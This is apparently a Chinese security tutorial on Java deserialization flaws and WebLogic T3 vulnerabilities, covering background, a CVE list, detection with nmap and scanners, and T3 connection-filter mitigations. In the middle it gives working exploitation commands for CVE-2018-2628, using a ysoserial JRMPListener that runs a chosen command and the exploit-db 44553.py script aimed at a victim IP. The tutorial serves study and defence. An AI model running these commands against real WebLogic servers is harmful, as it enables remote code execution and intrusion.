一、Java 序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
HTTP: 多平台之间的通信,管理等
RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
JMX: JMX 是一套标准的代理和服务,用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,中间件软件 WebLogic 的管理页面就是基于 JMX 开发的,而 JBoss 则整个系统都基于 JMX 构架。
2016年Spring RMI反序列化漏洞今年比较出名的:Jackson,FastJson
Java 十分受开发者喜爱的一点是其拥有完善的第三方类库,和满足各种需求的框架;但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,那么受影响范围将极为广泛。
二、Java反序列化漏洞与Weblogic反序列化漏洞介绍
1.Java反序列化漏洞历史
最为出名的大概应该是:15年的Apache Commons Collections 反序列化远程命令执行漏洞,其当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。
Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,可让readObject()实现任意命令执行。影响比较广泛的就是Apache Commons Collections这个库,中间件基本都会涉及使用此库。
2. Weblogic Java反序列化漏洞介绍
因为weblogic底层也使用Apache Commons Collections库,WebLogic 存在Java反序列化漏洞无疑的。不过在漏洞修复这方面,Oracle一直未完全修复完。以下是基于Weblogic t3协议引起远程代码执行的反序列化漏洞统计:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2019-2890
Ysoserial
介绍
Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:
https://github.com/frohoff/ysoserial/
使用方法
1、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
[listen port]:攻击机要监听的端口
[command]:想要执行的命令
2、开始使用44553.py脚本来向目标发送数据包(基于python2.x)
下载地址: https://www.exploit-db.com/download/44553
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip]:目标weblogic的IP
[victim port]:目标weblogic的端口
[path to ysoserial] :ysoserial的路径
[JRMPListener ip] :第一步中启动JRMP Server的IP地址
[JRMPListener port] :第一步中启动JRMP Server的I端口地址
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。
RMI和JRMP协议
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。
T3协议
WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。
如何检查存在漏洞
以CVE-2018-2628漏洞为例
nmap -n -v -p7001,7002 192.168.197.139 --script=weblogic-t3-info
针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。
使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.197.139:7001.在kali里运行CVE-2018-2628-MultiThreading.py(基于python2.x版本)开始检测,可以看到检测结果为漏洞存在。
临时解决办法
可通过控制T3协议的访问来临时阻断攻击行为。WebLogicServer 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器。此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制。
(1)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s
保存后规则即可生效,无需重新启动。
详细解析:
127.0.0.1 * * allow //表示允许本机回环地址所有协议的连接
10.1.34.205 * * allow //表示允许来自10.10.5.68地址任何协议的访问请求
10.156.0.57/255.255.255.0 * * allow 或 10.156.0.57/24 * * allow //表示允许10.10.3.0网段所有协议的连接
0.0.0.0/0 * * deny t3 t3s //表示禁止除上面三条规则以外所有IP地址或网段t3、t3s协议的连接。
或者更换端口
错误配置
10.1.34.205 * 8001 allow
10.156.0.57 * 8001 allow
10.156.0.58 * 8001 allow
0.0.0.0/0 * * 7001 allow
0.0.0.0/0 * * deny
正确配置:
ip * * allow t3 (ip为允许的ip)
0.0.0.0/0 * *deny t3 t3s
备注:
weblogic漏洞扫描器搭建 kali环境
git clone https://github.com/rabbitmask/WeblogicScan.git //下载
chmod +x WeblogicScan.py //提权
python3 ./WeblogicScan.py 192.168.197.139 7001 //检测
CVE-2018-2628-MultiThreading.py kali环境
git clone https://github.com/Lighird/CVE-2018-2628 //下载
;